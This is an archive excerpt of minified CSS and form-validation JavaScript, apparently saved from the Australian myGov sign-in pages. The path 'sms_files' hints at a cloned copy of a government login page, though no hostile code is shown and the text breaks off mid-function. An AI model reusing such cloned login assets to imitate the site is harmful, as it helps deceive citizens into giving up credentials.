h3.nocount:before,.numbered-headings #poro-form .nocount#modal-title:before,#poro-form .numbered-headings .nocount#modal-title:before,.numbered-headings .poro-form .nocount#modal-title:before,.poro-form .numbered-headings .nocount#modal-title:before,.numbered-headings h4.nocount:before,.numbered-headings h5.nocount:before,.numbered-headings h6.nocount:before{content:"";counter-increment:none}.help-info-group{position:relative;display:inline-block}.help-info::after{content:'';position:absolute;right:-32px;width:1.3em;height:1.5em;background-repeat:no-repeat;background-position:right .4em;background-size:.64em auto;-webkit-transform:rotate(90deg);transform:rotate(90deg);background-image:url("../icons/link-arrow.svg");top:0}.help-info[aria-expanded="true"]::after{background-image:url("../icons/link-arrow.svg");right:-29px;top:10px;-webkit-transform:rotate(-90deg);transform:rotate(-90deg)}.help-info-inline::after{content:'';position:absolute;right:-32px;width:1.3em;height:1.5em;background-repeat:no-repeat;background-position:right .4em;background-size:.64em auto;-webkit-transform:rotate(90deg);transform:rotate(90deg);background-image:url("../icons/link-arrow.svg");top:0}.help-info-inline[aria-expanded="true"]::after{background-image:url("../icons/link-arrow.svg");right:-29px;top:10px;-webkit-transform:rotate(-90deg);transform:rotate(-90deg)}img#mygov-access-conf{display:block;margin-left:auto;margin-right:auto;margin-top:2em;height:140px}@media screen and (min-width:320px){img#mygov-access-conf{margin-top:1em}}img#warning{display:block;margin-left:auto;margin-right:auto;margin-top:2em;height:140px}@media screen and (min-width:320px){img#warning{margin-top:1em}}@media screen and (-webkit-min-device-pixel-ratio:0){img#app-store-logo{padding-bottom:10px}}@-moz-document url-prefix(){img#app-store-logo{padding-bottom:10px}}img#play-store-logo{height:59.98px}a.app-logo{border-bottom:0}a.app-logo:hover{background-color:transparent}#idp-link-info{padding-left:unset;list-style-position:inside}#idp-link-info h3,#idp-link-info #poro-form #modal-title,#poro-form #idp-link-info #modal-title,#idp-link-info .poro-form #modal-title,.poro-form #idp-link-info #modal-title{display:inline;margin-bottom:.8em}#idp-link-info img.link-step{width:30%;display:block;margin:1.5em auto}#idp-link-info .next-step{display:none}#idp-link-info .link-step-info{text-align:center}@media screen and (min-width:768px){#idp-link-info{display:-webkit-inline-box;display:-webkit-inline-flex;display:-ms-inline-flexbox;display:inline-flex}#idp-link-info .next-step{display:inline;-webkit-flex-basis:5%;-ms-flex-preferred-size:5%;flex-basis:5%;margin:3em 0}#idp-link-info .link-step{-webkit-flex-basis:33%;-ms-flex-preferred-size:33%;flex-basis:33%;min-width:150px}#idp-link-info img.link-step{width:50%;margin:3em auto}#idp-link-info img.next-step{width:60%}}img#externallinkicon{height:1em}.va_clearfix:before,.va_clearfix:after{content:"";display:table}.va_clearfix:after{clear:both}.va_chatAnchor{position:relative;z-index:999999;bottom:0;right:0;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI","Roboto","Oxygen","Ubuntu","Cantarell","Fira Sans","Droid Sans","Helvetica Neue",sans-serif;min-width:320px;line-height:1;-webkit-transition:1s;transition:1s;color:#fff;display:none}.va_iframe{display:block;height:0;width:350px;min-width:320px;position:fixed;right:50px;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI","Roboto","Oxygen","Ubuntu","Cantarell","Fira Sans","Droid Sans","Helvetica Neue",sans-serif;bottom:0;border:0;overflow:scroll;box-shadow:0 0 3px rgba(0,0,0,0.3)}.va_header{max-height:45px;background:#777;background:-webkit-linear-gradient(#4d4d4f,#777);background:linear-gradient(#4d4d4f,#777);filter:progid:DXImageTransform.Microsoft.gradient(GradientType=0,startColorstr='#4D4D4F',endColorstr='#777777');color:#fff;cursor:pointer;position:relative}.va_header:focus{outline:3px solid #fff}.va_toggleIcon{background:url(../icons/va_arrowup.svg);background-size:20px 10px;background-repeat:no-repeat;padding-top:10px;position:absolute!important;right:0;display:block;background-position:center;top:0;height:0!important;width:0!important;margin:0;margin-right:15px;padding:15px 0 18.5px 18.5px;margin-top:3.5px}.va_toggleIcon:focus{outline:3px solid #fff}.va_expanded{background:url(../icons/va_arrowdown.svg);background-size:20px 10px;background-repeat:no-repeat;background-position:center}.va_resizeIcon{height:0;width:0;background:url(../icons/va_resizelarge.svg);background-size:15px 15px;background-repeat:no-repeat;background-position:center;position:absolute!important;right:45px;bottom:2px;top:0;display:block;padding:15px 0 18.5px 18.5px;margin-top:3.5px}.va_resizeIcon:focus{outline:3px solid #fff}.va_resizeIcon.va_large{background:url(../icons/va_resizesmall.svg);background-size:15px 15px;background-repeat:no-repeat;background-position:center}h1.va_chatTitle{font-family:-apple-system,BlinkMacSystemFont,"Segoe UI","Roboto","Oxygen","Ubuntu","Cantarell","Fira Sans","Droid Sans","Helvetica Neue",sans-serif;font-size:1.2rem;font-weight:bold;bottom:3px;padding:0;line-height:1.7em;margin-left:15px;margin-top:3.5px;width:-webkit-fit-content;width:-moz-fit-content;width:fit-content}h2.va_chatTitle,.va_chatTitle.display{font-family:-apple-system,BlinkMacSystemFont,"Segoe UI","Roboto","Oxygen","Ubuntu","Cantarell","Fira Sans","Droid Sans","Helvetica Neue",sans-serif;font-size:1.2rem;font-weight:bold;bottom:3px;padding:0;line-height:1.7em;margin-left:15px;margin-top:3.5px;width:-webkit-fit-content;width:-moz-fit-content;width:fit-content}h1.va_chatTitle_mob{font-family:-apple-system,BlinkMacSystemFont,"Segoe UI","Roboto","Oxygen","Ubuntu","Cantarell","Fira Sans","Droid Sans","Helvetica Neue",sans-serif;font-size:1rem;line-height:inherit;margin:0}h1.va_chatTitle_mob:focus{outline:3px solid #fff}h2.va_chatTitle_mob,.va_chatTitle_mob.display{font-family:-apple-system,BlinkMacSystemFont,"Segoe UI","Roboto","Oxygen","Ubuntu","Cantarell","Fira Sans","Droid Sans","Helvetica Neue",sans-serif;font-size:1.2rem;font-weight:bold;bottom:3px;padding:0;line-height:1.7em;margin-left:15px;margin-top:3.5px;width:-webkit-fit-content;width:-moz-fit-content;width:fit-content}#va_chatHeader{position:fixed;bottom:0;right:50px;width:350px;cursor:pointer}#va_chatHeader:focus{outline:3px solid #fff}.va_chatBorder{height:10px;width:inherit;background:#d7ea6a;position:relative;z-index:2;cursor:pointer}.va_skipToLink{display:none}.va_skipToLink.active{display:block!important;z-index:10;position:absolute;color:#000;background:#fff;padding:5px;font-weight:bold;top:-1000px;left:-1000px;height:0;width:0;font-size:.875rem!important;text-decoration:underline}a.va_skipToLink:focus,a.va_skipToLink:hover{top:0;left:0;outline:3px solid #666;height:40px;width:140px;margin-left:20px;margin-top:0;background:#fff}.va_chatborder{background:#d7ea6a}.va_header{height:50px;background:#026540}#va_chatHeader .va_header:hover{background:#014c30}@media screen and (max-width:599px),screen and (max-height:490px){.va_chatAnchor{right:0;width:100%;height:100%}.va_header{box-shadow:none}.va_chatBorder{display:none}#va_mobileBar{display:block;position:fixed;right:50px;bottom:0;width:150px;height:45px;background:#026540;background:-webkit-linear-gradient(#4d4d4f,#777);background:-webkit-linear-gradient(#026540,#026540);background:linear-gradient(#026540,#026540);filter:progid:DXImageTransform.Microsoft.gradient(GradientType=0,startColorstr='#4D4D4F',endColorstr='#777777');border-top:#1c78b9 5px solid;color:#fff;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI","Roboto","Oxygen","Ubuntu","Cantarell","Fira Sans","Droid Sans","Helvetica Neue",sans-serif;font-weight:normal;font-size:1.2rem;font-weight:bold;padding-left:10px;line-height:2.5;-webkit-text-size-adjust:100%}.va_mobileLarge{width:100%!important;top:0;left:0;border-radius:0!important;padding-left:20px!important}#va_chatHeader{display:none}#va_mobileToggle.va_mobileToggle{height:80px!important;width:100%;background:url(../icons/va_arrowup.svg);background-position:right 5px bottom 45px;background-size:20px 10px;background-repeat:no-repeat;position:absolute!important;right:0;bottom:-25px;display:block}#va_mobileToggle.va_mobileToggle.va_open{height:55px!important;background:url(../icons/va_arrowdown.svg);background-repeat:no-repeat;background-position:right 25px bottom 20px;background-size:20px 10px;right:17px;left:initial;bottom:-5px!important}.va_chatTitle{position:absolute;bottom:-2px;height:0;left:-20px;font-size:1rem}body{padding-bottom:40px}}.identity-profile-table{border-top:1px solid black}.identity-profile-table th:first-of-type,.identity-profile-table td:first-of-type{border-right:1px solid #999}.identity-profile-table th{display:table-cell;border-style:none;width:initial}.identity-profile-table th:focus{outline:-webkit-focus-ring-color auto 5px}.identity-profile-table th>img{vertical-align:middle}.identity-profile-table td{vertical-align:top}.identity-profile-givenname,.identity-profile-familyname,.identity-profile-dob{display:block}.login-grid-column.alternative:first-of-type{border:1px solid #999;border-radius:10px;background-color:white}@media screen and (min-width:768px){.login-grid-column.secondary{margin-top:0}}.digital-id-inner{margin-top:2em;padding:0 1em!important}@media screen and (min-width:992px){.digital-id-inner{margin-top:0;padding:0 2em}}@media screen and (min-width:768px){.unauth .product-description ul{-webkit-columns:1;-moz-columns:1;columns:1}}.digital-id-barrier{background-color:#eee;border-top-left-radius:10px;border-top-right-radius:10px}.password-helper-text{font-size:.9rem}.login-grid-row.alternative{margin:10px}#secondary-identity-modal.hidden{display:none}#secondary-identity-modal.shown{position:-webkit-sticky;position:sticky;z-index:1060;background-color:white;top:10%}@media screen and (min-width:768px){#secondary-identity-modal.shown{position:fixed}}.identity-link-process ol{margin-left:1em}.digital-id-main-login-card.alternative{background-color:#eee;border-top-left-radius:10px;border-top-right-radius:10px}.transparent-background{background-color:transparent!important}.identity-modal-button-container .cancel-action{min-width:160px}.confirm-action{background-color:#222;color:white;min-width:160px}.confirm-action:disabled{background-color:#ccc}.sign-in-banner.alternative{font-size:22px;font-weight:bold;display:block;margin-top:10px;margin-left:10px}h2.digital-id-header,.digital-id-header.display{margin-top:0;font-weight:700;font-size:18px}#digital-id-selection fieldset{margin-top:0}#digital-id-selection legend{border-bottom:0;margin-bottom:0;display:none}#digital-id-selection legend h3,#digital-id-selection legend #poro-form #modal-title,#poro-form #digital-id-selection legend #modal-title,#digital-id-selection legend .poro-form #modal-title,.poro-form #digital-id-selection legend #modal-title{margin-top:0}.hr-divider{background:-webkit-linear-gradient(top,#eee 50%,white 50%);background:linear-gradient(to bottom,#eee 50%,white 50%);display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;height:5em}.hr-divider .rounded-border{border:1px solid #999;background-color:white;border-radius:50%;height:42px;width:42px;text-align:center;margin-right:auto;margin-left:auto;padding-top:4px}.digital-id-login-card.alternative{text-align:left;background-color:transparent;margin-bottom:0}.new-modal{position:fixed;top:0;left:0;z-index:1050;width:100%;height:100%;overflow:hidden;outline:0;background-color:rgba(0,0,0,0.8)}.generic-modal{padding:1em}.new-modal-content{background-color:white}#modal-zone{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center}#secondary-modal-header{margin-top:0}#new-modal-content,#secondary-identity-modal{max-width:600px;width:100%}@-webkit-keyframes fadein{from{opacity:0}to{opacity:.8}}@keyframes fadein{from{opacity:0}to{opacity:.8}}@-webkit-keyframes fadeout{to{opacity:0}}@keyframes fadeout{to{opacity:0}}@-webkit-keyframes slidein{from{top:0;opacity:0}to{top:10%;opacity:1}}@keyframes slidein{from{top:0;opacity:0}to{top:10%;opacity:1}}@-webkit-keyframes slideout{from{top:10%;opacity:1}to{top:0;opacity:0}}@keyframes slideout{from{top:10%;opacity:1}to{top:0;opacity:0}}.button-identity[disabled]{background-color:grey;color:white}.identity-modal-header-group{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:horizontal;-webkit-box-direction:normal;-webkit-flex-direction:row;-ms-flex-direction:row;flex-direction:row;-webkit-box-flex:2;-webkit-flex:2;-ms-flex:2;flex:2}.identity-modal-header-group .identity-question-header{font-size:1.5rem;margin-top:0}.identity-modal-header-group .explanatory-identity-header{font-size:1.5rem}.identity-modal-header-group #modal-action-dismiss,.identity-modal-header-group #secondary-modal-action-dismiss{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:right;-webkit-justify-content:right;-ms-flex-pack:right;justify-content:right}.identity-modal-header-group .modal-action-dismiss{-webkit-box-ordinal-group:3;-webkit-order:2;-ms-flex-order:2;order:2;z-index:3000;border:0;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;width:18px;height:18px;margin-left:auto;-webkit-box-align:start;-webkit-align-items:flex-start;-ms-flex-align:start;align-items:flex-start}.identity-modal-header-group .modal-action-dismiss:hover{background-color:transparent}.identity-modal-header-group .modal-action-dismiss img{width:36px}.secondary-identity-modal-button-container{margin-top:2em}.new-slide-in{-webkit-animation-name:slidein;animation-name:slidein;-webkit-animation-duration:1s;animation-duration:1s;position:-webkit-sticky;position:sticky;z-index:2500;top:10%}@media screen and (min-width:768px){.new-slide-in{position:fixed}}.new-slide-out{-webkit-animation:slideout;animation:slideout;-webkit-animation-duration:1s;animation-duration:1s}.new-fade{-webkit-animation-name:fadein;animation-name:fadein;-webkit-animation-duration:.2s;animation-duration:.2s}.new-fade-out{-webkit-animation-name:fadeout;animation-name:fadeout;-webkit-animation-duration:.2s;animation-duration:.2s}.new-show{display:block}.new-hide{display:none}.external-links-zone span{display:inline-block}.external-links-zone span.identity{margin-bottom:.7em}@media screen and (min-width:576px){.external-links-zone span.mygovid{float:right}}.link-external{width:1em;height:1em;display:inline-block;position:relative;top:4px;margin-right:3px}.link-external.blugov{top:2px}.link-external:hover{background:white;border:2px solid white}mygov/app/sms_files/mgv2-application.js.download000064400000223737151676702570016027 0ustar00(function(global){global.maxMobileScreenWidth=992;global.getUrlParams=function(){var hashes=(window.location.href.split("?")[1]||"").split("&");var params={};for(var i=0;i<hashes.length;i++){var hash=hashes[i].split("=");params[hash[0]]=hash[1];}return params;};global.getAndroidVersion=function(ua){var match=(ua||navigator.userAgent).match(/android\s([0-9\.]*)/i);if(match){return parseFloat(match[1]);}};global.isTouchDevice=(function(){try{document.createEvent("TouchEvent");return true;}catch(e){return false;}})();global.oneUseEvent=function(element,event,fn){function handler(e){fn.call(this,e);this.removeEventListener(event,handler);}element.addEventListener(event,handler);};$(function(){global.isMobileDevice=$(window).width()<=global.maxMobileScreenWidth&&global.isTouchDevice;});})(window.global=window.global||{});$(document).ready(function(){var $menuHitbox=$(".menu-hitbox");$menuHitbox.on("click",function(e){var $this=$(this);if(!$this.hasClass("open")){$this.addClass("open");$this.siblings(".global-menu").slideDown(function(){$this.addClass("open-on-mobile");$(this).removeAttr("style");});$this.find(".text").text("Close");}else{$this.removeClass("open");$this.siblings(".global-menu").slideUp(function(){$this.removeClass("open-on-mobile");$(this).removeAttr("style");});$this.find(".text").text("Menu");}});$menuHitbox.on("keyup",function(e){if(e.which==13){$menuHitbox.trigger("click");}});});$(document).ready(function(){cleanDefaultValues();$(".button-main").on("mousedown",function(event){if(event.button&&event.button!==0){return;}$("form input:visible:enabled").each(function(){if($(this).attr("data-new-password")!==null||$(this).attr("data-reenter-password")!==null){$(this).trigger("blur");}else{$(this).val($(this).val().trim());$(this).trigger("blur");}});if($("form").find(".hasError").length!=0){$("form").find(".hasError:first > input").focus();event.preventDefault?event.preventDefault():(event.returnValue=false);}$(this).trigger("click");});$("form input").on("keypress",function(event){var charCode=event.charCode||event.keyCode||event.which;if(charCode==13){event.preventDefault?event.preventDefault():(event.returnValue=false);$(".button-main").trigger("mousedown");}});$(".button-main").on("click",function(event){$("[dont-validate]").removeAttr("dont-validate");$("form input:visible:enabled").each(function(){var type=$(this).attr("type");if($(this).attr("data-new-password")!==null||$(this).attr("data-reenter-password")!==null){$(this).trigger("blur");}else{$(this).val($(this).val().trim());$(this).trigger("blur");}});if($("form").find(".hasError").length!=0){$("form").find(".hasError:first > input").focus();event.preventDefault?event.preventDefault():(event.returnValue=false);}});$("[data-mandatory--input]").on("blur",function(){if((formHelper.isNotEmpty($(this).val()))){formHelper.clearError($(this));}else{formHelper.setError($(this),"Require a value","p");}});$("[data-mandatory--checkbox]").on("blur",function(){if($(this).is(":checked")){formHelper.clearError($(this));}else{formHelper.setError($(this),"Check this box to continue","p");}});$("form").preventDoubleSubmission();setErrorParent();});var cleanDefaultValues=function(){if($('input[name="formId"]').val()==="clkPersonalDetailsFast"){var label=$("label[for*=clkCRN] span");label.text(label.text()+" (optional)");var crn=$("input[name*=clkCRN]");if(crn.val()==="000000000Z"){crn.val("").css("color","inherit");}}};var setMandatoryValues=function(){if($('input[name="formId"]').val()==="clkPersonalDetailsFast"){var crn=$("input[name*=clkCRN]");if(crn!=null&&crn.val()===""){crn.css("color","transparent").val("000000000Z");}}};$.fn.preventDoubleSubmission=function(){$(this).on("submit",function(event){var $form=$(this);if($form.data("submitted")){event.preventDefault?event.preventDefault():(event.returnValue=false);}else{setMandatoryValues();$form.data("submitted",true);}});return this;};function findInfoOrErrorParent($elem,closestDefault){closestDefault=!closestDefault?"label":closestDefault;var $parent=$elem.closest($(closestDefault));if($elem.closest("fieldset")[0]!==undefined){$parent=$elem.closest($("fieldset"));}else{if($elem.closest(".poro-field-group")[0]!==undefined){$parent=$elem.closest($(".poro-field-group"));}else{if($elem.closest(".selectRadio")[0]!==undefined){$parent=$elem.closest($(".selectRadio"));}else{if($elem.closest(".raet-line")[0]!==undefined){$parent=$elem.closest(".raet-line");}else{if($elem.closest(".input-group")[0]!==undefined){$parent=$elem.closest(".input-group");}else{if($elem.closest(".pincode-input-container")[0]!==undefined){$parent=$elem.closest(".pincode-input-container");}}}}}}return $parent;}function findSuccessParent($elem){var $parent=$elem.closest($("label"));if($elem.closest("fieldset")[0]!==undefined){$parent=$elem.closest($("fieldset"));}else{if($elem.closest(".input-group")[0]!==undefined){$parent=$elem.closest(".input-group");}}return $parent;}function clearMessageType($parent,typeClass){var $msgContainer=$parent.find("."+typeClass+'[role="alert"]');var containerId=$msgContainer.attr("id");if(containerId){formHelper.removeDescription($parent.find('[aria-describedby~="'+containerId+'"]'),containerId);formHelper.removeAriaErrorMessage($parent.find('[aria-errormessage~="'+containerId+'"]'),containerId);}$parent.removeClass(typeClass);$msgContainer.remove();}var setErrorParent=function(){$("form span.hasError").each(function(){var $elem=$(this);var $parent=findInfoOrErrorParent($elem);$parent.addClass("hasError");var $control=$parent.find("input,select");if($control&&$control.length===1){formHelper.associateMessageWithElement($control,$elem);$control.attr("aria-invalid",true);}});};var formHelper={replaceMessageClass:function($element,newClass){$element.removeClass("success");$element.removeClass("hasInfo");$element.removeClass("hasError");if(newClass){$element.addClass(newClass);}},clearAllMessages:function($parent,expectedMessageElementSelector){expectedMessageElementSelector=!expectedMessageElementSelector?"":expectedMessageElementSelector;var $msgContainer=$parent.find(expectedMessageElementSelector+'[role="alert"]');var containerId=$msgContainer.attr("id");if(containerId){formHelper.removeDescription($parent.find('[aria-describedby~="'+containerId+'"]'),containerId);formHelper.removeAriaErrorMessage($parent.find('[aria-errormessage~="'+containerId+'"]'),containerId);}$parent.removeClass("hasError");$parent.removeClass("hasInfo");$parent.removeClass("success");$msgContainer.remove();},resetDefaultValue:function($elem){$elem.val($elem.prop("defaultValue"));},setButtonGroupValue:function($elem,value){$elem.children().each(function(){$(this).removeClass("active");});$elem.children().each(function(){if($(this).text()==value){$(this).addClass("active");return false;}});},getButtonGroupValue:function($elem,cb){var value=null;$elem.children().each(function(){if($(this).hasClass("active")){value=$(this).text();return false;}});return value;},clearError:function($elem){var $parent=findInfoOrErrorParent($elem);clearMessageType($parent,"hasError");$elem.attr("aria-invalid",null);},clearCodeError:function($elem){var $parent=findInfoOrErrorParent($elem,"div");clearMessageType($parent,"hasError");$elem.attr("aria-invalid",null);},clearInfo:function($elem){var $parent=findInfoOrErrorParent($elem);clearMessageType($parent,"hasInfo");$elem.attr("aria-invalid",null);},clearSuccess:function($elem){var $parent=findSuccessParent($elem);clearMessageType($parent,"success");$elem.attr("aria-invalid",null);},setMessage:function($elem,$parent,message,typeClass,ariaInvalid,elementType){elementType=!elementType?"span":elementType;ariaInvalid=!ariaInvalid?null:ariaInvalid;var $msgContainer=$("<"+elementType+">"+message+"</"+elementType+">").addClass("form-helper-message").addClass(typeClass).attr("role","alert").attr("aria-live","assertive").appendTo($parent);formHelper.replaceMessageClass($parent,typeClass);formHelper.associateMessageWithElement($elem,$msgContainer,typeClass);$elem.attr("aria-invalid",ariaInvalid);return $msgContainer;},setError:function($elem,text,messageElementSelector){if(!messageElementSelector){messageElementSelector="span";}var $parent=findInfoOrErrorParent($elem);formHelper.clearAllMessages($parent,messageElementSelector);formHelper.setMessage($elem,$parent,text,"hasError","true",messageElementSelector);},setCodeError:function($elem,text){var $parent=$elem.closest($("div"));formHelper.clearAllMessages($parent,"span");formHelper.setMessage($elem,$parent,text,"hasError","true");},setInfo:function($elem,text){var $parent=findInfoOrErrorParent($elem);formHelper.clearAllMessages($parent,"span");formHelper.setMessage($elem,$parent,text,"hasInfo");},setSuccess:function($elem,text){var $parent=findSuccessParent($elem);formHelper.clearAllMessages($parent,"span");formHelper.setMessage($elem,$parent,text,"success");},setErrorSelect:function($elem,text){formHelper.clearSuccess($elem);var errText,$msgContainer;var $parent=findInfoOrErrorParent($elem);errText=$parent.find("#errorSelect");if(errText[0]===undefined){errText="<span id='errorSelect' class='hasError'></span>";}$parent.append(errText).addClass("hasError");$msgContainer=$parent.find("#errorSelect");$msgContainer.html(text);},clearErrorSelect:function($elem){var $msgContainer;var $parent=findInfoOrErrorParent($elem);$msgContainer=$parent.find('span[id="errorSelect"]');$parent.removeClass("hasError");$msgContainer.remove();},isUserIdValid:function(userId){var unameRegex="^[ \t]*[a-zA-Z]{2}[0-9]{6}[ \t]*$";var unameRule=new RegExp(unameRegex);return unameRule.test(userId);},isEmailValid:function(emailAddress){var emailAddress=emailAddress.trim();var valid=emailAddress.search(/^(([^<>()[\]\\.,;:\s@\"]+(\.[^<>()[\]\\.,;:\s@\"]+)*)|(\".+\"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/);return(valid===0);},isHomeNumberValid:function(number){var number=formHelper.spaceRemoved(number);var isNumber=formHelper.isNumber(number);if(isNumber){if(number.length===9&&number.substring(0,5)==="67232"){return true;}if(number.length===10&&number.substring(0,2).match("02|03|07|08")){return true;}}return false;},isWorkNumberValid:function(number){var number=formHelper.spaceRemoved(number);return(formHelper.isMobileValid(number)||formHelper.isHomeNumberValid(number));},isNumber:function(input){return(/^\d+$/).test(input);},isMobileValid:function(number){var number=formHelper.spaceRemoved(number);var isNumber=formHelper.isNumber(number);if(isNumber){if(number.length===10&&number.substring(0,2)==="04"){return true;}if(number.length===9&&number.substring(0,5)==="67235"){return true;}}return false;},isNotEmpty:function(val){return(val!=="");},isEmpty:function(val){return(val==="");},isTypingSame:function($this,$compareWith){var compareWithVal=$compareWith.val(),thisVal=$this.val(),curpos=thisVal.length-1,compareWithChar=compareWithVal.charAt(curpos),thisChar=thisVal.charAt(curpos),thisPortion=thisVal.substring(0,curpos),compareWithPotion=compareWithVal.substring(0,curpos),errMsg="",successMsg="";if(compareWithVal===thisVal){return true;}if(thisChar!==compareWithChar){return false;}if(thisPortion===compareWithPotion){formHelper.clearError($this);}},chkFieldIsEmpty:function($this){if(formHelper.isEmpty($this.val())){return true;}else{return false;}},chkTooManyCharacters:function($this,max){if($this.val().length>max){return true;}else{return false;}},chkNumberOnly:function($this){return(/^\d+$/g).test($this.val());},chkValidCode:function($this){return(/^(([0-9]){6})$/).test($this.val());},enableDate:function(){if($(".date-fields").length>0){$(".date-fields input").each(function(){$(".date-fields input").prop("disabled",false).attr("aria-disabled",false);});}},disableDate:function(){if($(".date-fields").length>0){$(".date-fields input").each(function(){$(".date-fields input").prop("disabled",true).attr("aria-disabled",true);formHelper.clearError($(".date-fields input"));$(".date-fields input").val("");});}},spaceRemoved:function(thisval){return thisval.replace(/ /g,"");},associateMessageWithElement:function($input,$message,messageTypeClass){if(!messageTypeClass){messageTypeClass="";}const id=formHelper.ensureUniqueIdFor($input);const messageId=id+"__form-helper-message";$message.attr("id",messageId);messageTypeClass==="hasError"?formHelper.addAriaErrorMessage($input,messageId):formHelper.addDescription($input,messageId);},addDescription:function($element,descriptionId){const originalDescriptionAttr=$element.attr("aria-describedby");const descriptions=originalDescriptionAttr?originalDescriptionAttr.split(" "):[];if(descriptions.indexOf(descriptionId)===-1){descriptions.unshift(descriptionId);}$element.attr("aria-describedby",descriptions.join(" "));},addAriaErrorMessage:function($element,errorMessageId){$element.attr("aria-errormessage",errorMessageId);},removeDescription:function($element,descriptionId){const originalDescriptionAttr=$element.attr("aria-describedby");const descriptions=originalDescriptionAttr?originalDescriptionAttr.split(" "):[];const newDescriptionAttr=descriptions.filter(formHelper.checkEmptyElements(descriptionId)).toString().replace(/,/g," ");if(newDescriptionAttr.trim().length>0){$element.attr("aria-describedby",newDescriptionAttr);}else{$element.attr("aria-describedby",null);}},removeAriaErrorMessage:function($element){$element.attr("aria-errormessage",null);},checkEmptyElements:function(descriptionId){return function(id){return id!==descriptionId;};},};(function(){var lastGeneratedIdNumber=0;function ensureUniqueIdFor($element){const originalId=$element.attr("id");if($element.attr("id")){return originalId;}else{var newId;var tries=0;do{newId="mgv-unique-element-"+(++lastGeneratedIdNumber);}while(tries<100&&$("#"+newId).length!=0);if(tries>=99){throw new Error("Could not generate an new ID");}$element.attr("id",newId);return newId;}}formHelper.ensureUniqueIdFor=ensureUniqueIdFor;})();(function($){$(".poro-date-fields-optional input").on("blur",function(){var testFuture=false,optional=true;updateDateField($(this),testFuture,optional);validateDate($(this));});$(".poro-date-fields-mandatory input").on("blur",function(){var testFuture=false,optional=false;updateDateField($(this),testFuture,optional);validateDate($(this));});$(".date-fields input").on("blur",function(){var testFuture=true,optional=false;updateDateField($(this),testFuture,optional);validateDate($(this),optional);});if($(".date-fields").length>0){var today=new Date();var dd=today.getDate().toString().length===1?"0"+today.getDate():today.getDate();var mm=(today.getMonth()+1).toString().length===1?"0"+(today.getMonth()+1):(today.getMonth()+1);var yyyy=today.getFullYear();if(dd!==undefined&&mm!==undefined&&yyyy!==undefined){$(".exampleDate").text("For example: "+dd+" "+mm+" "+yyyy);}}var validateDate=function($this,optional){var $parent=$this.closest($("fieldset")),date=$parent.find("[data-date]").val(),isDay=$this.attr("data-date-day")!==undefined,isMonth=$this.attr("data-date-month")!==undefined,isYear=$this.attr("data-date-year")!==undefined,thisval=$this.val(),isDateFilledIn=chkDateFilledIn($this);if(date===("NaN")||date===("future")){if(isDay){updateDayError($this,isDateFilledIn);}if(isMonth){updateMonthError($this,isDateFilledIn);}if(isYear){updateYearError($this,isDateFilledIn);}if((date==="NaN")&&isDateFilledIn){formHelper.setError($this,"Enter a valid date in the format of DD/MM/YYYY","p");}if((date==="future")&&isDateFilledIn){formHelper.setError($this,"The date can't be in the future","p");}}else{formHelper.clearError($this);}};var isValidDay=function(number){return(formHelper.isNumber(number)&&(number<32)&&(number>0));};var isValidMonth=function(number){return(formHelper.isNumber(number)&&(number<13)&&(number>0));};var isValidYear=function(number){var year=new Date().getFullYear();return(formHelper.isNumber(number)&&(number>year-150)&&(number.trim().length===4));};var chkDateFilledIn=function($elem){var $parent=$elem.closest($("fieldset"));if($parent!==undefined){day=$parent.find("[data-date-day]").val();month=$parent.find("[data-date-month]").val();year=$parent.find("[data-date-year]").val();if(formHelper.isNotEmpty(year)&&formHelper.isNotEmpty(month)&&formHelper.isNotEmpty(day)){return true;}}return false;};var updateDayError=function($day,isDateFilledIn){if(!isValidDay($day.val())){formHelper.setError($day,"Enter a valid date in the format of DD/MM/YYYY","p");}else{if(isDateFilledIn){formHelper.clearError($(this));}}};var updateMonthError=function($month,isDateFilledIn){if(!isValidMonth($month.val())){formHelper.setError($month,"Enter a valid date in the format of DD/MM/YYYY","p");}else{if(isDateFilledIn){formHelper.clearError($(this));}}};var updateYearError=function($year,isDateFilledIn){if(!isValidYear($year.val())){formHelper.setError($year,"Enter a valid date in the format of DD/MM/YYYY","p");}else{if(isDateFilledIn){formHelper.clearError($(this));}}};var updateDateField=function($this,testFuture,optional){var $parent=$this.closest($("fieldset")),now=moment(new Date(),"DD/MM/YYYY"),$year=$parent.find("[data-date-year]"),$day=$parent.find("[data-date-day]"),year=$parent.find("[data-date-year]").val(),month=$parent.find("[data-date-month]").val(),day=$parent.find("[data-date-day]").val(),isPartial=!($day.length>0),isDateFilledIn=chkDateFilledIn($year),$doc="";if(isPartial){if(month!==""||year!==""){$doc=month+"/"+year;validDate=isValidMonth(month)&&isValidYear(year);$("[data-date]").val("");}else{$("[data-date]").val("optional");}}else{if(optional){if(day!==""||month!==""||year!==""){$doc=day+"/"+month+"/"+year;validDate=isValidDay(day)&&isValidMonth(month)&&isValidYear(year);$("[data-date]").val("");}else{$("[data-date]").val("optional");}}else{$doc=day+"/"+month+"/"+year;validDate=isValidDay(day)&&isValidMonth(month)&&isValidYear(year);}}var dateOfChange=moment($doc,"DD/MM/YYYY"),duration=moment.duration(now.diff(dateOfChange)),days=duration.asDays(),inFuture=!(days>=0)&&(testFuture);if($("[data-date]").val()==="optional"){return;}else{if(!isDateFilledIn||!validDate){$("[data-date]").val("NaN");return;}else{if(!inFuture&&validDate&&isDateFilledIn){$("[data-date]").val($doc);}else{if(inFuture){$("[data-date]").val("future");}}}}};})(jQuery);(function($){$(document).ready(function(){var initToggle=function(){$(".showPassword").on("click",function(){var 